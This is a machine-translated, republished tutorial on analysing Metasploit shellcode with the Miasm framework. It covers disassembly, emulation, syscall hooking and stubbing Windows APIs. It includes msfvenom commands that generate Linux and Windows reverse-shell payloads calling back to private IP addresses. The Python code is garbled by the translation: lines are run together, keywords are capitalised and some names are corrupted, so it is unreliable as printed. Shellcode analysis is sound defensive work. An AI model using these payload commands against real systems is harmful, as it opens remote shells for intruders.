In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article mainly introduces "how to use Miasm to analyze Shellcode". In daily operation, I believe many people have doubts about how to use Miasm to analyze Shellcode problems. The editor consulted all kinds of data and sorted out simple and easy-to-use operation methods. I hope it will be helpful to answer the doubts about "how to use Miasm to analyze Shellcode". Next, please follow the editor to study!
Linux Shellcode
Let's start with Linux shellcode, because they are not as complex as Windows shellcode.
Msfvenom-p linux/x86/exec CMD=/bin/ls-a x86-- platform linux-f raw > sc_linux1
Let's disassemble shellcode with miasm:
From miasm.analysis.binary import Containerfrom miasm.analysis.machine import Machinewith open ("sc_linux1", "rb") as f: buf = f.read () container = Container.from_string (buf) machine = Machine ('x86x32') mdis = machine.dis_engine (container.bin_stream) mdis.follow_call = True # Follow callsmdis.dontdis_retcall = True # Don't disassemble after callsdisasm = mdis.dis_multiblock (offset=0) print (disasm)
We get the following code:
Loc_key_0PUSH 0xBPOP EAXCDQPUSH EDXPUSHW 0x632DMOV EDI, ESPPUSH 0x68732FPUSH 0x6E69622FMOV EBX, ESPPUSH EDXCALL loc_key_1- > c_to:loc_key_1loc_key_1PUSH EDIPUSH EBXMOV ECX, ESPINT 0x80 [SNIP]
It's not surprising that INT 0x80 is calling the system, and the system call code moves on the first line to the code execve that is EAX,0xB. We can easily obtain the address loc_key1 after the data by CALL loc_key_1 by fetching data between the instruction address + size and the address of:
> inst = list (disasm.blocks) [0] .lines [10] # Instruction 10 of block 0 > print (buf [inst.offset + inst.l:disasm.loc_db.offsets [1]]) b'/bin/ls\ x00'
Let's move on to a more complex shellcode:
Msfvenom-p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234-f raw > sc_linux2
There is a conditional jump in this code, so let's read it graphically:
From miasm.analysis.binary import Containerfrom miasm.analysis.machine import Machinewith open ("sc_linux2", "rb") as f: buf = f.read () container = Container.from_string (buf) machine = Machine ('x86' 32') mdis = machine.dis_engine (container.bin_stream) mdis.follow_call = True # Follow callsmdis.dontdis_retcall = True # Don't disassemble after callsdisasm = mdis.dis_multiblock (offset=0) open ('bin_cfg.dot', 'w') .write (disasm.dot ())
It's a bit difficult to understand statically, so let's see if we can use miasm to simulate it.
Imitating instructions is very easy:
From miasm.analysis.machine import Machinefrom miasm.jitter.csts import PAGE_READ, PAGE_WRITEmyjit = Machine ("x86 / 32"). Jitter ("python") myjit.init_stack () data = open ('sc_linux2',' rb'). Read () run_addr = 0x40000000myjit.vm.add_memory_page (run_addr, PAGE_READ | PAGE_WRITE, data) myjit.set_trace_log () myjit.run (run_addr)
Miasm simulates all instructions until we reach the first int 0x80 call:
40000000 PUSH 0xAEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 of 0 cf 040000002 POP ESIEAX 00000000 EBX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 4000000003 zf 0 nf 0 of 0 cf 0 [SNIP] 40000010 INT 0x80EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 EIP 40000012 zf 0 nf 0 of 0 of (cf 0Traceback): cf 0Traceback "most recent call last", most recent call last 11 In myjit.run (run_addr) File "/ home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run return self.continue_run () File "/ home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run return next (self.run_iterator) File "/ home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once assert (self.get_exception () = = 0) AssertionError
By default, miasm computers do not perform system calls, but you can add an exception handler EXCEPT_INT_XX (EXCEPT_SYSCALL for Linux x86 calls 64) for the exception and implement it yourself. Let's print the system call number first:
From miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XXfrom miasm.analysis.machine import Machinedef exception_int (jitter): print ("Syscall: {}" .format (jitter.cpu.EAX)) return Truemyjit = Machine ("x86x32"). Jitter ("python") myjit.init_stack () data = open ('sc_linux2',' rb'). Read () run_addr = 0x40000000myjit.vm.add_memory_page (run_addr, PAGE_READ | PAGE_WRITE Data) myjit.add_exception_handler (EXCEPT_INT_XX, exception_int) myjit.run (run_addr)
This gives us the system call:
Syscall: 102Syscall: 102
Before realizing that miasm has integrated multiple syscall implementations and ways to have them executed by virtual machines, I began to re-implement some of the syscall that shellcode often uses. I have submitted some additional system call PR, and then we can simulate shellcode:
Myjit = Machine ("x86y32"). Jitter ("python") myjit.init_stack () data = open ("sc_linux2", 'rb'). Read () run_addr = 0x40000000myjit.vm.add_memory_page (run_addr, PAGE_READ | PAGE_WRITE, data) log = logging.getLogger (' syscalls') log.setLevel (logging.DEBUG) env = environment.LinuxEnvironment_x86_32 () syscall.enable_syscall_handling (myjit, env, syscall.syscall_callbacks_x86_32) myjit.run (run_addr)
We get the following syscall trace:
[DEBUG]: socket (AF_INET, SOCK_STREAM, 0) [DEBUG]:-> 3 [DEBUG]: connect (fd, [AF_INET, 1234, 10.2.2.14], 102) [DEBUG]:-> 0 [DEBUG]: sys_mprotect (123f000, 1000, 7) [DEBUG]:-> 0 [DEBUG]: sys_read (3, 123ffe4, 24)
Therefore, it is very easy to use miasm to analyze linux shellcode, and you can use this script.
Windows
Since instructions cannot be called to the system on Windows, Windows Shellcode needs to use functions from shared libraries, which need to load them using LoadLibrary and GetProcAddress, which first needs to find the addresses of these two functions in the kernel32.dll DLL file. Memories.
Let's use metasploit to generate the first shellcode:
Msfvenom-a x86-- platform Windows-p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443-f raw > sc_windows1
We can use the exact same code for Linux above to generate the call diagram:
Here, we see one of the techniques most shellcode uses to get its own address: CALL pushes the address of the next instruction onto the stack and stores it in the EBP POP. So CALL EBP, the last instruction, is called immediately after the first call. And because only static analysis is used here, miasm cannot know the address in EBP.
We can still disassemble the code manually after the first call:
Inst = inst = list (disasm.blocks) [0] .lines [1] # We get the second line of the first blocknext_addr = inst.offset + inst.l # offset + size of the instructiondisasm = mdis.dis_multiblock (offset=next_addr) open ('bin_cfg.dot', 'w') .write (disasm.dot ())
Here, the shellcode we see first looks for the address of KERNEL32, PEB,PEB_LDR_DATA, and the structure of LDR_DATA_TABLE_ENTRY in memory by following. Let's simulate:
From miasm.jitter.csts import PAGE_READ, PAGE_WRITEfrom miasm.analysis.machine import Machinedef code_sentinelle (jitter): jitter.run = False jitter.pc = 0 return Truemyjit = Machine ("x86 python 32"). Jitter ("python") myjit.init_stack () data = open ("sc_windows1", 'rb'). Read () run_addr = 0x40000000myjit.vm.add_memory_page (run_addr, PAGE_READ | PAGE_WRITE Data) myjit.set_trace_log () myjit.push_uint32_t (0x1337beef) myjit.add_breakpoint (0x1337beef) Code_sentinelle) myjit.run (run_addr) 40000000 CLDEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 040000001 CALL loc_40000088EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 cf 040000088 POP EBPEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000000006 EIP 40000089 zf 0 nf 0 nf 040000089 of 00000000 of 00000000 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0 [SNIP] 4000000B MOV EDX DWORD PTR FS: [EAX + 0x30] WARNING: address 0x30 is not mapped in virtual memory:Traceback (most recent call last): [SNIP] RuntimeError: Cannot find address
All the way to MOV EDX, DWORD PTR FS: [EAX + 0x30], this instruction gets the address of the TEB structure from the FS segment in memory. In this case, however, miasm only simulates the code and does not load any system segments in memory. To do this, we need to use the full Windows Sandbox of miasm, but these VM only run the PE file, so we first use a short script to convert shellcode into a complete PE file using lief:
From lief import PEwith open ("sc_windows1", "rb") as f: data = f.read () binary32 = PE.Binary ("pe_from_scratch", PE.PE_TYPE.PE32) section_text = PE.Section (".text") section_text.content = [c for c in data] # Take a list (int) section_text.virtual_address = 0x1000section_text = binary32.add_section (section_text PE.SECTION_TYPES.TEXT) binary32.optional_header.addressof_entrypoint = section_text.virtual_addressbuilder = PE.Builder (binary32) builder.build_imports (True) builder.build () builder.write ("sc_windows1.exe")
Now, let's run this PE using a miasm sandbox that can select use-windows-structs to load the Windows structure into memory (see the code here):
From miasm.analysis.sandbox import Sandbox_Win_x86_32class Options (): def _ init__ (self): self.use_windows_structs = True self.jitter = "gcc" # self.singlestep = True self.usesegm = True self.load_hdr = True self.loadbasedll = True def _ getattr__ (self, name): return Noneoptions = Options () # Create sandboxsb = Sandbox_Win_x86_32 ("sc_windows1.exe" Options, globals () sb.run () assert (sb.jitter.run is False)
This option, loadbasedll, loads the DLL structure into the in-memory win_dll based on the existing dll in the folder named (you need Windows x86 structures 32 DLL). After execution, the following crash occurred:
[SNIP] [INFO]: kernel32_LoadLibrary (dllname=0x13ffe8) ret addr: 0x40109b [WARNING]: warning adding .dll to modulename [WARNING]: ws2_32.dllTraceback (most recent call last): File "windows4.py", line 18, in sb.run () [SNIP] File "/ home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479,in handle_lib raise ValueError ('unknown api', hex (jitter.pc), repr (fname)) ValueError: (' unknown api', '0x71ab6a55' "'ws2_32_WSAStartup'")
If we look at the file jitload.py, it actually calls the DLL function implemented in win_api_x86_32.py, and we see that kernel32_LoadLibrary does implement the function, but not WSAStartup, so we need to implement it ourselves.
Miasm actually uses a very clever technique to simplify the implementation of the new library. Sandboxie accepts parameters for additional functionality, using a call to globals () by default. This means that we only need to define a function with the correct name in the code, and it can be used directly as a system function. Let's try ws2_32_WSAStartup:
Def ws2_32_WSAStartup (jitter): print ("WSAStartup (wVersionRequired, lpWSAData)") ret_ad, args = jitter.func_args_stdcall (["wVersionRequired", "lpWSAData"]) jitter.func_ret_stdcall (ret_ad, 0)
Now we have:
INFO]: kernel32_LoadLibrary (dllname=0x13ffe8) ret addr: 0x40109b [WARNING]: warning adding .dll to modulename [WARNING]: ws2_32.dllWSAStartup (wVersionRequired, lpWSAData) Traceback (most recent call last): [SNIP] File "/ home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib raise ValueError ('unknown api', hex (jitter.pc), repr (fname) ValueError: (' unknown api', '0x71ab8b6a, "' ws2_32_WSASocketA'")
We can continue this approach and implement several functions called by shellcode one by one:
Def ws2_32_WSASocketA (jitter): "SOCKET WSAAPI WSASocketA (int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags) "" ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"} TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"} PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"} ret_ad, args = jitter.func_args_stdcall (["af", "type", "protocol", "lpProtocolInfo", "g" "dwFlags"]) print ("WSASocketA ({},...)" .format (ADDRESS_FAM [args.af], TYPES [args.type], PROTOCOLS [args.protocol]) jitter.func_ret_stdcall (ret_ad, 14) def ws2_32_connect (jitter): ret_ad, args = jitter.func_args_stdcall (["s", "name") "namelen"]) sockaddr = jitter.vm.get_mem (args.name, args.namelen) family = struct.unpack ("H", sockaddr [0:2]) [0] if family = = 2: port = struct.unpack ("> H", sockaddr [2:4]) [0] ip = ".join ([str (I) for i in struct.unpack (" BBBB ", sockaddr [4:8])] print (" socket_connect (fd) [{}, {}, {}], {}) ".format (" AF_INET ", port, ip, args.namelen) else: print (" connect () ") jitter.func_ret_stdcall (ret_ad, 0) def kernel32_CreateProcessA (jitter): ret_ad, args = jitter.func_args_stdcall ([" lpApplicationName "," lpCommandLine "," lpProcessAttributes "," lpThreadAttributes "," bInheritHandles "," dwCreationFlags "," lpEnvironment ") "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"]) jitter.func_ret_stdcall (ret_ad, 0) def kernel32_ExitProcess (jitter): ret_ad, args = jitter.func_args_stdcall (["uExitCode"]) jitter.func_ret_stdcall (ret_ad, 0) jitter.run = False
Finally, we did a complete simulation of shellcode:
[INFO]: Add module 400000 'sc_windows1.exe' [INFO]: Add module 7c900000' ntdll.dll' [INFO]: Add module 7c800000 'kernel32.dll' [INFO]: Add module 7e410000' use***.dll' [INFO]: Add module 774e0000 'ole32.dll' [INFO]: Add module 7e1e0000' urlmon.dll' [INFO]: Add module 71ab0000 'ws2_32.dll' [INFO]: Add module 77dd0000' advapi32.dll' [ INFO]: Add module 76bf0000 'psapi.dll' [INFO]: kernel32_LoadLibrary (dllname=0x13ffe8) ret addr: 0x40109b [WARNING]: warning adding .dll to modulename [WARNING]: ws2_32.dllWSAStartup (wVersionRequired) LpWSAData) [INFO]: ws2_32_WSAStartup (wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab [INFO]: ws2_32_WSASocketA (af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010baWSASocketA (AF_INET, SOCK_STREAM, Whatever,...) [INFO]: ws2_32_connect (s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4socket_connect (fd, [AF_INET, 443,192.168.56.1], 16) [INFO]: kernel32_CreateProcessA (lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1 DwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117 [INFO]: kernel32_WaitForSingleObject (handle=0x0, dwms=0xffffffff) ret addr: 0x401125 [INFO]: kernel32_GetVersion () ret addr: 0x401131 [INFO]: kernel32_ExitProcess (uExitCode=0x0) ret addr: 0x401144 so far The study on "how to use Miasm to analyze Shellcode" is over. I hope to be able to solve your doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.